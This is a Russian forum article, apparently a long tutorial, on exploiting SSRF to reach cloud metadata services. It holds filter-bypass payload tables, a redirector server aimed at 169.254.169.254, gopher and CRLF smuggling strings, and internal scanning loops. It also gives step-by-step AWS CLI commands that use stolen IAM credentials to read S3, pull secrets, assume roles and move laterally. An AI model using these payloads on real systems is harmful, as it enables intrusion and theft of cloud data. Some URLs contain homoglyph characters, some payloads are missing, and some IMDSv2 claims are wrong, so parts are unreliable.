Статья Использование SSRF для доступа к облачным метаданным

xzotique

Grey Team
24.03.2020
105
431
1768409082621.webp


Эй. Ты, с горящими глазами. Да, ты, кто только что закрыл хакерский фильм, где за пять секунд взламывают пентагон тремя строчками кода на несуществующем языке. Выключи это. Сядь. Пришло время для суровой, неприглядной правды.

Ты думаешь, что понимаешь SSRF? Ты натыкался на туториалы, где говорится: «подставь httр://169.254.169.254 и станешь королем облаков». Ты, может, даже пару раз получил в ответ JSON с метаданными на каком-нибудь CTF или учебном стенде. И в тебе зародилась мысль: «Да это же просто. Это базовая уязвимость». Забудь. Сотри эту мысль нахрен.

Тот, кто называет Server-Side Request Forgery «простой уязвимостью из OWASP Top-10», либо никогда не залезал в реальную, гниющую изнутри корпоративную инфраструктуру, либо сознательно продает тебе иллюзию, работая на вендора, который впаривает одноразовые WAF-ки как панацею. Они лечат симптомы, а не болезнь. Мы же будем говорить о самой болезни.

Мы здесь поговорим не об уязвимости. Мы поговорим о системном сбое в самой философии современных облачных инфраструктур. О фундаментальном разрыве между моделью доверия, которую нам продали под соусом «масштабируемости» и «гибкости», и суровой реальностью, в которой мы, исследователи и пентестеры, живем и работаем каждый день. Мы будем препарировать этот механизм не как студенты-медики, а как патологоанатомы, которые видят не один труп, а эпидемию.

Мы разберем каждый винтик, каждую шестеренку, каждый байт этого адского механизма. Мы начнем с самого низа – с того, как сырой TCP-пакет, сформированный твоим зловредным URL, продирается через стопки библиотек и middleware. Мы проследим его путь через парсеры, валидаторы, фаерволы приложений, сетевые политики Kubernetes, гипервизоры и вплоть до этой самой священной коровы – сервиса метаданных. А потом мы пойдем обратно – от JSON-ки с временными ключами IAM через лабиринты политик AWS, сквозь цепочки доверия STS, к конечной цели: S3-бакету со всеми данными компании, к секретам в Parameter Store, к возможности запустить инстанс за инстансом, пока счёт за облако не убьёт бизнес раньше, чем это сделаем мы.

Если ты ждал «топ 5 пэйлоадов для хака облаков», если ты ищешь волшебную кнопку «HACK» – ты опоздал на десять лет, и тебе не сюда. Там, на поверхности, в топах гугл-поиска, полно блогов для таких, как ты. Они кормят тебя фастфудом информационной безопасности: вкусно, быстро, бесполезно для настоящего голода. Мы же спустимся в шахту. Без страховки, без проводника, с одним лишь каской на голове и уверенностью, что единственный свет впереди – это свет от нашего собственного фонаря, отраженный от угольных пластов уязвимого кода и кривых конфигураций.

И сейчас – обязательный дисклеймер. Тот, без которого в наше время диалог превращается в донос. Я – не пророк и не гуру. Я – просто голос в темноте. Я не создаю дыр. Я лишь указываю на них фонариком, пока другие предпочитают делать вид, что в тоннеле светло. Моя цель – не вооружить вандала. Моя цель – вручить инженеру детальную карту всех трещин в фундаменте его собственного здания, чтобы он мог его укрепить. Всё, что будет описано далее – открытые знания. Это собрано из публичных исследований, моих собственных шишек и синяков, тысяч часов реверса и экспериментов в контролируемых средах.

Я не несу тебе отмычки. Я не скажу тебе, какую конкретно чужую дачу грабить. Я объясню принцип работы замков, которые почему-то до сих пор ставят на калитки, ведущие в сейфовые комнаты. Используй это знание для защиты своих систем. Для тестов, на которые у тебя есть явное, письменное, подписанное руководством и юридическим отделом разрешение. Потому что закон – это не абстрактная концепция из фильмов. Это следователь, протокол, статья УК. Тюрьма – это не коворкинг для гиков, где можно продолжать писать код. Это конец твоей карьеры, твоей репутации, твоей жизни. Это не запугивание. Это напоминание о гравитации для тех, кто решил, что может летать без последствий.

Ты понял? Ты все еще здесь? Хорошо. Тогда выдыхай. Отбрось ожидания быстрой наживы. Мы начинаем долгое, методичное погружение. Первый шаг – понять, почему эта дыра существует в принципе. Идем.


Почему это вообще работает? Мифология облачных метаданных.

Давай начнем с основ, которые все пропускают, потому что они кажутся скучными. А зря. Именно здесь спрятана первопричина всей этой истории.

Облако - это не магия, не абстракция и не «где-то там». Забей себе это в голову раз и навсегда. Облако - физический дата-центр, гигантский пул серверного железа, охлаждения и электрики. На этом железе работает гипервизор (Xen, KVM, Hyper-V, Nitro). Это софт, который дробит физические ресурсы (CPU, RAM, диск) на виртуальные куски. И уже на этом гипервизоре крутится твоя виртуальная машина (инстанс), которую ты арендуешь за доллары в час.

А теперь ключевой вопрос: Как эта виртуальная машина, только что запущенная из безликого шаблона, понимает, кто она? Ей же нужно знать:
  • Какое у нее имя (hostname)?
  • В какой подсети она находится и какой у нее IP?
  • Какие SSH-ключи должны быть добавлены в ~/.ssh/authorized_keys?
  • Какую роль она выполняет в системе: веб-сервер, база данных, очередь?
  • В какой S3-бакет слать логи?
  • К каким другим облачным сервисам (SQS, SNS, RDS) ей разрешено обращаться?
Ей нужен единый, безотказный и доверенный источник истины. Таким источником и стал сервис метаданных (Instance Metadata Service).


Историческая справка: Эпоха до метаданных. Каменный век облаков.

Представь себе начало 2000-х. AWS еще только зарождается. Администраторы подходили к проблеме конфигурации так: они вручную настраивали сервер, доводили его до идеального состояния, а затем создавали из него золотой образ (Golden Image, AMI). Этот образ замораживался и использовался для запуска всех инстансов определенного типа.

Почему это было больно, как удар током по архитектуре?
  1. Невозможность кастомизации при запуске. Каждый инстанс был точной копией образа. Хочешь изменить одну маленькую переменную (например, ID среды: dev/stage/prod)? Придется создавать новый образ для каждого варианта. Умножь это на десятки сервисов.
  2. Хрупкость и дрейф конфигурации. Образы устаревали. Критические обновления безопасности? Новые версии зависимостей? Всё это требовало создания новой версии образа, перетестирования и массового перезапуска всего парка. Любое ручное изменение на уже запущенном инстансе («ну быстро пофиксим прямо на проде!») приводило к дрейфу конфигурации - инстанс становился «уникальным снежинкой», невоспроизводимым и опасным.
  3. Секреты в образах. Часто в образы по неосторожности попадали API-ключи, пароли, сертификаты. Они были запечены навсегда. Любой, кто получит доступ к такому образу, получал и все секреты.
Это был тупик. Масштабирование превращалось в кошмар.


Революция: Приход cloud-init и философии метаданных.

Идея, которая пришла вместе с cloud-init (и аналогичными инструментами в других экосистемах), была гениальной в своей простоте. Ее можно описать одним предложением:

«Не зашивай конфигурацию в мертвый образ. Дай инстансу при первом запуске самому запросить всё, что ему нужно знать и сделать.»

Как это работает технически?
  1. Ты создаешь инстанс (вручную, через Terraform, через API) и передаешь в параметрах запуска два ключевых блока:
    • user-data: Скрипт (обычно bash, но может быть cloud-config на YAML), который выполнится один раз при первом запуске. Он устанавливает пакеты, создает пользователей, настраивает сервисы, скачивает код приложения.
    • meta-data: Набор атрибутов об инстансе, которые задаются инфраструктурой (например, его ID, тип, размещение, сетевые параметры).
  2. При старте ОС на инстансе служба cloud-init просыпается и делает простой HTTP-запрос по фиксированному, известному адресу.
  3. Гипервизор (или специальный компонент платформы) ловит этот запрос и вместо того, чтобы пустить его в сеть, отвечает на него локально, подставляя те самые user-data и meta-data, которые были определены при создании инстанса.
Волшебный адрес 169.254.169.254 - это не случайность. Это сознательный, продуманный выбор.
  • Он принадлежит диапазону 169.254.0.0/16, который описан в RFC 3927 как «Link-Local».
  • Смысл этого диапазона: адресация в пределах одного физического сегмента сети (линка). Роутеры по стандарту должны отбрасывать пакеты с таким адресом назначения. Этот адрес буквально не может уйти за пределы физического хоста.
  • Поэтому в архитектуре и заложена была аксиома безопасности, которая казалась незыблемой: «Чтобы получить доступ к метаданным, ты должен физически находиться на этом инстансе или как минимум в его виртуальном сетевом пространстве. Внешний мир не может до него дотянуться».

Первая фатальная ошибка мышления, или Где порвалась аксиома.

Здесь и произошел фатальный разрыв между моделью и реальностью. Архитекторы думали в терминах инстанса как единицы. Они видели границу безопасности между «внутри инстанса» и «снаружи инстанса». И сервис метаданных был надежно спрятан «внутри».

Но они не учли, что внутри инстанса работает сложное, многослойное приложение. И это приложение, в свою очередь, имеет свою поверхность атаки, свои входные точки. И одна из этих точек - функционал, который делает произвольные HTTP-запросы по URL, предоставленному пользователем.

Иллюзия:
«Внутренняя сеть инстанса (где живет 169.254.169.254) - это доверенная зона».
Реальность: «Внутренняя сеть инстанса становится прокси-зоной, если на инстансе работает уязвимое приложение, которое может быть обмануто внешним злоумышленником».

SSRF - это именно тот инструмент, который проводит идеальный Man-in-the-Middle-атаку на эту аксиому. Мы не атакуем гипервизор и не сбегаем из VM. Мы говорим приложению внутри VM: «Эй, дружок, сходи ка ты по этому URL, который выглядит как картинка с нашего CDN». А приложение, будучи добросовестным и доверчивым, берет наш URL, резолвит его в тот самый 169.254.169.254, и идет в «святая святых» - за метаданными. И затем, в зависимости от логики уязвимости, либо отдает их нам напрямую, либо косвенно подтверждает успех, либо использует их для дальнейших действий, которые мы можем отследить.

Приложение становится троянским конем. Гипервизор честно пропускает запрос, потому что он действительно пришел изнутри инстанса. Система работает именно так, как была спроектирована. Вот в чем весь ужас и ирония.


Почему это до сих пор не починили? Потому что это столп.

Здесь многие начинают возмущаться: «Ну как же так, AWS/Google/Microsoft - гиганты! Они что, не видят проблему?»

Видят. И прекрасно видят. Но кардинально «починить» это - значит снести и перестроить один из несущих столпов всей облачной парадигмы.
  1. Проблема обратной совместимости (Backwards Compatibility). Миллионы инстансов, десятки тысяч инструментов (от Terraform и Ansible до кастомных скриптов развертывания) завязаны на то, что метаданные доступны по простому HTTP-запросу. Сломать этот API - это вызвать апокалипсис неработоспособности у половины клиентов.
  2. Глубина интеграции. Сервис метаданных это не изолированный модуль. Он вшит в саму логику работы платформы: в оркестрацию виртуальных машин, в сетевую инициализацию, в интеграцию с IAM, в системы мониторинга и сбора логов. Его нельзя «выключить и переписать за выходные». Это архитектурное ядро.
  3. Что предлагать взамен? Полноценная альтернатива - это сложная система аутентифицированного доступа, возможно, с использованием инстанс-идентитетов и mTLS. Но это убивает простоту и скорость, ради которых все и затевалось. Тот же cloud-init на этапе раннего старта ОС должен иметь возможность получить доступ к этим данным до того, как поднялись сложные системы аутентификации.
Поэтому путь провайдеров - не исправление, а сдерживание. Они накладывают заплатки, увеличивающие сложность эксплуатации:
  • Фильтрация на стороне приложений клиентов (это проблема клиента, не наша).
  • Введение новых версий API (IMDSv2) - которые усложняют автоматическую эксплуатацию, требуя двухэтапного процесса с токенами, но не меняют фундаментальную модель.
  • Рекомендации отключать старые версии (IMDSv1) - что является попыткой постепенно мигрировать мир на менее уязвимый протокол, но миграция идет медленно и с сопротивлением.
  • Сетевые политики и security groups - которые пытаются ограничить возможность приложений делать произвольные запросы, но вновь упираются в удобство и функциональность.
Корень проблемы - в самой парадигме «удобного волшебства», где инстанс «просто знает» о себе всё. SSRF к метаданным - это цена, которую платят за это волшебство. И платить ее будут до тех пор, пока не появится новая, более безопасная парадигма, и пока за нее не будет заплачена еще более высокая цена миграции. А пока - поле для нашей игры остается огромным.

1768409120970.webp


Часть 0: Диагностика среды. Где мы и с чем имеем дело?

Прежде чем бить, надо понять, куда бить. Слепая атака – удел скрипт-кидди.

0.1. Пассивная разведка: Читаем то, что лежит на виду.

  • HTTP-Заголовки – наше всё.

    Bash:
    curl -I https://target.com

    Ищешь:
    • Server: EC2ws / Server: ECS / Server: awselb/2.0 – почти гарантированно AWS.
    • X-Powered-By: ASP.NET + Server: Microsoft-IIS/10.0 – часто Azure App Service.
    • Заголовки, специфичные для облачных WAF или CDN: X-Azure-Ref, X-EC2-Instance-ID, X-Google-*.
    • Иногда в X-Amz-Cf-Id (CloudFront) или других заголовках проскакивают внутренние ID.
  • Обратный DNS (PTR запись) – часто забываемая золотая жила.

    Bash:
    host 52.215.34.122
    # Ответ: ec2-52-215-34-122.eu-west-1.compute.amazonaws.com

    Паттерны:
    • AWS: ec2-*-*-*-*.*.compute.amazonaws.com, ec2-*-*-*-*.*.compute.internal.
    • GCP: *.bc.googleusercontent.com.
    • Azure: Не так явно, но часто *.clоudapp.azure.com, *.azurеwebsites.net.
    • DigitalOcean: *.clоudapp.digitalocean.com.
  • SSL/TLS Сертификаты. При подключении к домену посмотри на цепочку сертификатов. Инфраструктурные домены облачных провайдеров часто используют Wildcard-сертификаты. JARM/JA3 fingerprinting тоже может помочь идентифицировать облачный балансировщик.

  • Ошибки приложения. Намеренно вызывай 500-е ошибки, переполняй буферы. Иногда в стек-трейсе мелькают пути, имена классов, которые кричат о среде выполнения: com.amazonaws., azure.core., google.cloud.*.
0.2. Активная разведка: Светим фонариком в щели.

  • Проверка на «открытый мир».
    Сначала убедись, что параметр вообще делает HTTP-запросы.
    • Инструмент: interactsh-client или Burp Collaborator.

    • Действие: Подставь уникальный поддомен.

      Код:
      https://target.com/fetch?url=http://xyz123.your-collaborator-host.com
    • Наблюдение: Если в Collaborator пришел DNS или HTTP запрос – бинго. SSRF есть. Зафиксируй IP-адрес источника. Это IP инстанса или внешний IP балансировщика? Это важно.

    • Детализация: Попробуй разные схемы: http://, https://, dict://, gopher://. Смотри, какие из них обрабатываются.
  • Определение HTTP-стэка сервера.
    От поведения сервера зависит, какие техники обхода сработают.
    • Отправляй запросы с разными Host заголовками, с переносами строк (%0a), с лишними слешами. Смотри на ответ. Если получаешь 400 Bad Request от самого бэкенда (nginx, Apache), это одно. Если ошибка от самого приложения или библиотеки (например, Python/urllib error) – это другое.

    • Проверка следования редиректам.

      Bash:
      # На своей машине поднимаем простейший сервер с редиректом
      python3 -m http.server 8080 &
      echo 'HTTP/1.1 302 Found\nLocation: http://collaborator.com\n' | nc -lvnp 8081

      Затем в уязвимый параметр подставляешь httр://yоur-ip:8081. Если видишь запрос на cоllaborator.com – редиректы работают. Это ключевая возможность.

Часть 1: Классические векторы и их анатомия.

Предположим, мы нашли параметр ?url= или ?image= или ?proxy=, который делает запрос.

1.1. Базовый пэйлоад и его вариации.

Цель: Достучаться до 169.254.169.254 или его аналога.

  • Прямая атака:

    Код:
    httр://169.254.169.254/
    httр://mеtadata.google.internal/computeMetadata/v1/
    httр://169.254.169.254/metadata/instance?api-version=2021-05-01

  • Но что, если есть простой фильтр по строке? Начнем с танцев с бубном.

1.2. Обфускация IP-адреса. Полный репертуар.
МетодПримерПримечание
Десятичное (DWORD)httр://2852039166/169*256^3 + 254*256^2 + 169*256 + 254
Шестнадцатеричноеhttр://0xA9FEA9FE/Может работать без 0x: httр://A9FEA9FЕ/
Восьмеричноеhttр://0251.0376.0251.0376Старые библиотеки.
Смешанные октетыhttр://0xA9.0xFE.0xA9.0xFE/
Дополнение нулямиhttр://0169.0254.0169.0254/Восьмеричная интерпретация!
IP в поддоменеhttр://169.254.169.254.nip.io/nip.iо и xip.iо – волшебные DNS-сервисы.
Кодировка URLhttр://%31%36%39%2E%32%35%34%2E%31%36%39%2E%32%35%34/Часто фильтруется.

Двойное кодированиеhttр://%32%35%35%2E%32%35%35%2E%32%35%35%2E%32%35%35/Может обойти примитивные проверки.
IPv6 (Link-local)httр://[fe80::a9fe:a9fe]/Маловероятно, но проверить стоит.
IPv6 (IPv4-mapped)httр://[::ffff:169.254.169.254]/::ffff:a9fe:a9fe
Нестандартный портhttр://169.254.169.254:80/Иногда фильтруют только без порта.
Добавление точкиhttр://169.254.169.254./Точка в конце FQDN.
Использование @httр://fоо@169.254.169.254/Basic Auth. Может сбить парсер.
Использование #httр://169.254.169.254#@evil.com/Фрагмент не уходит на сервер, но может обмануть WAF.
Мягкий редиректhttр://evil.com/redirect.php?to=httр://169.254.169.254Король обходов. Подробнее ниже.

1.3. Атака через редиректы – разбираем до костей.

Это, пожалуй, самый мощный и элегантный метод. Его суть: мы предоставляем URL, который проходит первичную проверку (белый список доменов, отсутствие черных IP), но затем наш сервер отвечает HTTP-редиректом (302, 307) на целевой сервис метаданных.

Почему это работает? Потому что многие HTTP-клиенты в языковых библиотеках по умолчанию следуют за редиректами. Разработчик, проверяя входящий URL, думает, что контролирует цель запроса. Но он не контролирует ответ от этой цели.

Сценарий:

  1. Уязвимый код на Python (самый популярный грешник):

    Python:
    import requests
    def fetch_image(url):
    # Проверка: URL должен начинаться с https://trusted-cdn.com
    if not url.startswith("https://trusted-cdn.com/"):
    return "Invalid URL"
    response = requests.get(url, timeout=5) # Следуем за редиректами по умолчанию!
    return response.content


  2. Наш пэйлод: httрs://trusted-cdn.com/user/avatar.png?proxy=httр://our-evil-server.com/redirector

  3. На оur-evil-server.com висит скрипт:

    Python:
    # Flask-приложение
    from flask import Flask, redirect
    app = Flask(__name__)
    @app.route('/redirector')
    def redir():
        # Редирект на IMDS
        return redirect("http://169.254.169.254/latest/meta-data/iam/security-credentials/", code=302)

  4. Уязвимый сервер делает GET на trusted-cdn.com..., который возвращает 302 на наш сервер. Клиент requests получает этот 302 и автоматически, без дополнительных проверок, делает новый GET на 169.254.169.254. Фильтр был обойден.
Вариации:
  • Открытые редиректы на самом целевом сайте. Ищешь параметры типа ?next=, ?redirect=, ?url= на самом атакуемом домене. Если нашел уязвимость открытого редиректа – ты золотой. Тебе не нужен свой сервер. Твой пэйлоад: .
  • Разные коды редиректа: 301 (Moved Permanently), 302 (Found), 307 (Temporary Redirect), 308 (Permanent Redirect). Поведение клиентов может различаться.
  • Редирект через Refresh заголовок или через HTML <meta http-equiv="refresh">. Некоторые менее распространенные клиенты могут на это вестись.
Инструмент для создания редиректов:
Можно использовать что угодно: Flask (Python), Sinatra (Ruby), простой PHP-хостинг. Или публичные сервисы, которые позволяют задать редирект (но осторожно с логами!).

PHP:
// Простейший redirect.php для хостинга
<?php
header("Location: " . $_GET['to']);
?>

Вызов: httр://еvil.com/redirect.php?to=httр://169.254.169.254/


Часть 2: Слепая SSRF (Blind). Когда стены глухи.

В 80% случаев ты не увидишь ответ метаданных в HTTP-ответе приложения. Приложение может парить картинку, валидировать URL, логировать ошибку – но не отдавать тело. Это слепая SSRF. Здесь нужна хирургия.

2.1. Детектирование факта доступа (Out-of-Band, OOB).
  • DNS-экфильтрация – самый надежный.
    Даже если приложение не возвращает данные, оно почти всегда выполняет DNS-запрос для разрешения имени хоста.
    • Инструменты: interactsh, dnslog.cn, ceye.io, свой сервер с tcpdump.
    • Пэйлоад: . Если в логах появляется запрос на этот поддомен – SSRF подтверждена, и мы узнаем IP источника (инстанса).
    • Усложнение: Пробуем подставить адрес метаданных как поддомен: . DNS-сервер увидит попытку резолва 169.254.169.254.is-awesome.... Это может сработать, если клиент пытается резолвить всё имя перед запросом (часто бывает).
  • HTTP-экфильтрация.
    Если приложение выполняет запрос и он успешен (например, IMDS возвращает 200), то мы можем попытаться заставить его сделать второй запрос на наш контролируемый сервер, но уже с данными.
    • Схема: → (получаем имя роли) → затем http://{role-name}.our-server.com/. Сложно, но автоматизируемо.
    • Использование времени отклика (Time-based): Если мы можем прочитать большой объем данных (например, user-data с многострочным скриптом), запрос будет выполняться дольше. Замер времени отклика уязвимого endpoint'а может показать аномалию.

      Bash:
      time curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/user-data" > /dev/null
      time curl -s "https://target.com/fetch?url=http://google.com" > /dev/null

      Разница может быть заметна.
2.2. Построение карты внутренней сети (Port Scanning).

Слепая SSRF – идеальный инструмент для разведки внутренней сети облачного провайдера.
  • Принцип: Мы заставляем сервер делать запросы на разные IP:порт и смотрим на результат.

  • Методы определения состояния порта:
    1. Время отклика (Time-based): Закрытый/фильтруемый порт обычно обрывает соединение быстро (TCP RST). Открытый порт (например, 80 у IMDS) принимает соединение и ждет HTTP-запрос, что приводит к таймауту, что дольше. Нужно калибровать задержки.
    2. Ошибки приложения: Иногда приложение по-разному реагирует на Connection refused, Connection timeout и успешное соединение. Может возвращаться разный HTTP-статус или разные сообщения об ошибке.
    3. OOB-техника: Комбинируем. Если порт открыт и мы отправляем на него HTTP-запрос, который заставляет сервер (например, сам IMDS) сделать обратный запрос к нам. Сложно, но для некоторых служб возможно.
  • Инструмент: ffuf или собственный скрипт.

    Bash:
    # Сканирование портов на локальном интерфейсе (с редиректом)
    ffuf -u "https://target.com/ssrf?url=http://127.0.0.1:FUZZ" -w ports.txt -t 10 -p 0.5 -mr "some-error-pattern"
    # Сканирование соседних хостов в облачной сети (предположим, сеть 10.0.0.0/24)
    for i in {1..254}; do
      curl -s "https://target.com/ssrf?url=http://10.0.0.$i:80" -o /dev/null -w "%{http_code}" &
    done

1768409166977.webp


Часть 3: Продвинутые техники обхода: WAF, фильтры и странные библиотеки.

Представим, что мы столкнулись не с самописным фильтром, а с корпоративным WAF (Cloudflare, AWS WAF, Imperva). Или с библиотекой, которая парсит URL нестандартно.

3.1. Обход через нестандартные схемы URL.

WAF часто ищет http:// или https://. Но что, если использовать другую схему, которая все равно приводит к HTTP-трафику?
  • dict:// – протокол словарей. Позволяет отправлять произвольные команды. Многие клиенты, использующие libcurl, поддерживают его.

    Код:
    diсt://169.254.169.254:80/GET%20/latest/meta-data/HTTP/1.0%0D%0A
    Здесь мы вручную формируем HTTP-запрос. %0D%0A – это CRLF.

  • gopher:// – архаичный, но могучий протокол. Он позволяет сформировать почти любой TCP-пакет.
    Используем Gopherus:

    Bash:
    python gopherus.py --exploit ssrf
    # Выбираем 1 (HTTP).
    # Вводим host: 169.254.169.254
    # Вводим порт: 80
    # Вводим путь: /latest/meta-data/
    # Получаем строку:
    gopher://127.0.0.1:80/_GET%20/latest/meta-data/%20HTTP/1.0%0D%0AHost%3A%20169.254.169.254%0D%0A%0D%0A

    Важно: Gopherus генерирует пэйлоад для 127.0.0.1. Тебе нужно вручную заменить 127.0.0.1 на 169.254.169.254 в сгенерированной строке, а также убедиться, что заголовок Host корректен.

  • file://, ftp://, ldap:// – менее вероятно, но стоит проверить. file:// может помочь в чтении локальных файлов приложения, где можно найти ключи, конфиги с внутренними IP.
3.2. Атаки на парсер URL (Parser Differential).

Золотая жила. Разные компоненты системы видят URL по-разному.
  • Сценарий: WAF (приложение/библиотека А) проверяет URL, затем приложение (библиотека Б) его обрабатывает. Если они парсят URL по-разному – мы можем спрятать зловредную часть.
  • Классика: @ в URL.
    http://еxpected-host@evil-host/path
    • Библиотека А (валидатор) видит: схема=http, хост=expected-host, путь=@evil-host/path? (может сломаться).
    • Библиотека Б (обработчик, типа libcurl) видит: схема=http, пользователь=expected-host, хост=evil-host, путь=/path.
  • Классика: # (фрагмент).
    • Валидатор видит хост=evil-host.
    • Браузер или некоторые парсеры видят фрагмент #@expected-host/path, который не отправляется на сервер. Но WAF может пропустить такой URL.
  • Самый интересный: Переносы строк и табуляции в URL.
    Некоторые парсеры (особенно старые версии языков, написанные на C) могут некорректно обрабатывать управляющие символы в URL-кодировке.
    • %0a (новая строка, LF)
    • %0d (возврат каретки, CR)
    • %09 (табуляция)
      Пример для GCP (требует заголовок Metadata-Flavor: Google):
    • Код:
      http://metadata.google.internal/computeMetadata/v1/?recursive=true%0aMetadata-Flavor:Google

    Если парсер при разборе строки запроса (?recursive=true%0aMetadata-Flavor:Google) некорректно обрабатывает %0a, он может передать часть строки как новый заголовок. Крайне зависит от реализации HTTP-клиента на стороне сервера. Нужно перебирать.
  • Использование Unicode-символов, homoglyph атак.

    Можно заменить точку в IP на похожий Unicode-символ (например, полную ширину . U+FF0E), или буквы в домене на кириллические. Опять же, WAF может нормализовать строку иначе, чем бэкенд.
3.3. Обработка фрагментов запроса после ? и #.
В некоторых фреймворках (например, Spring MVC) часть URL после ; или в определенном контексте может интерпретироваться иначе. Нужно изучать документацию конкретного фреймворка.


Часть 4: IMDSv2 – достойный противник. Ломаем "неломаемое".

AWS представила IMDSv2 (Instance Metadata Service v2) в конце 2019 года. Это был ответ на волну SSRF-атак. Это действительно серьезное усложнение.

4.1. Как работает IMDSv2?

  1. Запрос токена (PUT): Клиент делает PUT запрос на /latest/api/token с заголовком X-aws-ec2-metadata-token-ttl-seconds (время жизни токена, от 1 до 21600 секунд).

    HTTP:
    PUT /latest/api/token HTTP/1.1
    Host: 169.254.169.254
    X-aws-ec2-metadata-token-ttl-seconds: 21600
    Сервер возвращает токен в теле ответа.

  2. Использование токена (GET): Все последующие запросы к метаданным (/latest/meta-data/, /latest/user-data) должны включать этот токен в заголовке X-aws-ec2-metadata-token.

    HTTP:
    GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
    Host: 169.254.169.254
    X-aws-ec2-metadata-token: <TOKEN_VALUE>

  3. Особенности: Токен привязан к сетевому интерфейсу инстанса и PID процесса. Его нельзя использовать с другого IP или даже с другого процесса на том же инстансе (в некоторых реализациях). PUT-запрос не может быть переиспользован.
4.2. Почему это сложно для SSRF?
  • Требуется два последовательных запроса с сохранением состояния (токена) между ними. Большинство SSRF-уязвимостей позволяют сделать один произвольный запрос.
  • Первый запрос – PUT. Многие SSRF-векторы работают только с GET (картинки, прокси, fetch).
  • Токен нельзя подобрать или использовать повторно снаружи.
4.3. Наши тактики против IMDSv2.
  1. Нацелиться на приложения, где IMDSv1 еще включен. По умолчанию на новых инстансах AWS сейчас включается только IMDSv2. Но! Миллионы старых инстансов, Terraform-скриптов, CloudFormation шаблонов не обновлены. Всегда пробуй v1:

    Код:
    http://169.254.169.254/latest/meta-data/ (IMDSv1)
    http://169.254.169.254/latest/api/token (IMDSv2)

    Если оба отвечают – v1 включен. Твоя удача.

  2. Использование уязвимостей в приложении, которое делает несколько запросов.Редкий, но возможный сценарий:
    • Приложение имеет функционал, который сначала загружает что-то по URL A, а потом по URL B, и использует для этого один HTTP-клиент с общими куками/сессией.
    • Мы можем контролировать оба URL. Первый – делаем PUT на получение токена. Второй – используем полученный токен для GET метаданных. Крайне маловероятно, но в микросервисных архитектурах с очередями сообщений (где одно сообщение может инициировать цепочку запросов) – гипотетически возможно.
  3. Атака на user-data. Для чтения user-data через IMDSv2 тоже нужен токен. Но есть нюанс: скрипт user-data выполняется при старте инстанса. Если в нем есть уязвимости (например, он выводит логи в S3 с публичным доступом, или содержит секреты), это наш шанс. Но это не прямое следствие SSRF.

  4. Эксплуатация логики самих метаданных. Исследования (например, работа Alyssa Herrera) показали, что в некоторых конфигурациях IMDSv2 может быть уязвима к race condition или неправильной обработке заголовков. Эти векторы требуют глубокого понимания и часто быстро патчатся.
Вывод по IMDSv2: Это эффективный контрольный выстрел в голову тривиальным SSRF-атакам. Но она не серебряная пуля. Она защищает от случайных, нецелевых атак. Целевой атакующий, имеющий устойчивую SSRF (например, с возможностью делать PUT и сохранять состояние), или находящий инстансы со включенным v1, все еще может преуспеть.


Часть 5: От метаданных к тотальному контролю. Пошаговый гайд.

Допустим, мы прорвались. Получили ответ от /latest/meta-data/iam/security-credentials/. Нам вернули имя роли, например, s3-access-role. Что дальше?

Шаг 5.1. Получение временных кредов.
Делаем запрос к /latest/meta-data/iam/security-credentials/s3-access-role.
Ответ JSON:

JSON:
{
  "Code": "Success",
  "LastUpdated": "2023-10-26T12:00:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA1234567890EXAMPLE",
  "SecretAccessKey": "vERYlONgS3cr3tAcc3ssK3yEXAMPLE",
  "Token": "ExtremelyLongSessionToken...",
  "Expiration": "2023-10-26T18:00:00Z"
}

Это временные учетные данные AWS Security Token Service (STS). Они живут несколько часов.

Шаг 5.2. Настройка окружения для AWS CLI.

Bash:
export AWS_ACCESS_KEY_ID=ASIA1234567890EXAMPLE
export AWS_SECRET_ACCESS_KEY=vERYlONgS3cr3tAcc3ssK3yEXAMPLE
export AWS_SESSION_TOKEN=ExtremelyLongSessionToken...
# Проверяем, кто мы
aws sts get-caller-identity

Если команда возвращает данные – мы в системе.

Шаг 5.3. Разведка прав роли.
Первым делом смотрим, что нам вообще можно.

Bash:
# Попытка перечислить прикрепленные политики (если есть права iam)
aws iam list-attached-role-policies --role-name s3-access-role
# Если нет прав на iam - команда упадет с AccessDenied.

Чаще всего прямых прав на IAM нет. Значит, действуем методом научного тыка и читаем сообщения об ошибках.

  • Проверка доступа к S3:

    Bash:
    aws s3 ls
    # Если есть права - увидишь список бакетов.
    # Попытка чтения конкретного бакета:
    aws s3 ls s3://super-secret-data/
    aws s3 cp s3://super-secret-data/secret-file.txt .
  • Проверка доступа к Lambda:

    Bash:
    aws lambda list-functions
    aws lambda get-function --function-name SuperFunction

  • Проверка доступа к EC2:

    Bash:
    aws ec2 describe-instances
    # Опасность: запуск/остановка инстансов.

  • Проверка доступа к Secrets Manager/Parameter Store:

    Bash:
    aws secretsmanager list-secrets
    aws secretsmanager get-secret-value --secret-id prod/db/password
    # Или для Systems Manager Parameter Store:
    aws ssm get-parameters --names /app/prod/api-key

  • Проверка возможности sts:AssumeRole:
    Это ключевое. Если роль может "представиться" другой, более привилегированной ролью в этом или другом аккаунте AWS – это jackpot.

    Bash:
    # Попытка ассумировать роль (нужно знать ARN целевой роли)
    aws sts assume-role --role-arn arn:aws:iam::123456789012:role/admin --role-session-name "MySession"

    Часто ARN ролей можно найти в той же user-data или в метаданных других сервисов.
Шаг 5.4. Переход между сервисами (Lateral Movement).
Получив доступ к S3, можно искать там ключи, конфиги, дампы баз данных. Получив доступ к Lambda – можно попытаться изменить код функции, чтобы она выполняла наши команды или выгружала секреты. Получив доступ к EC2 – можно создавать snapshot'ы дисков, подключать их и анализировать.

Шаг 5.5. user-data – кладезь информации.
Обязательно прочитай user-data. Это bash-скрипт. В нем могут быть:
  • Хардкоженные пароли (export DB_PASS="qwerty").
  • Команды установки пакетов с приватных репозиториев (и токены для них).
  • IP-адреса и имена хостов внутренней сети.
  • Команды регистрации в Service Discovery (Consul, etcd).

Часть 6: Инструментарий. Что кладем в рюкзак.

  1. ssrfmap (GitHub - swisskyrepo/SSRFmap: Automatic SSRF fuzzer and exploitation tool) – наш швейцарский нож. Автоматизирует почти всё, что описано выше.

    Bash:
    # Базовый запуск
    python3 ssrfmap.py -r request.txt -p url -m cloud
    # Где request.txt содержит запрос с маркером FUZZ: ...url=FUZZ...
    # Модули:
    # -m readfiles (чтение файлов)
    # -m portscan (сканирование портов)
    # -m aws (автоматическое извлечение IAM кредов и разведка)
    # -m gcp (для Google Cloud)
    Он умеет сам подставлять пэйлоады с обходом фильтров, использовать редиректы, парсить ответы.

  2. Gopherus – уже упомянут. Незаменим для генерации gopher-пэйлоадов.
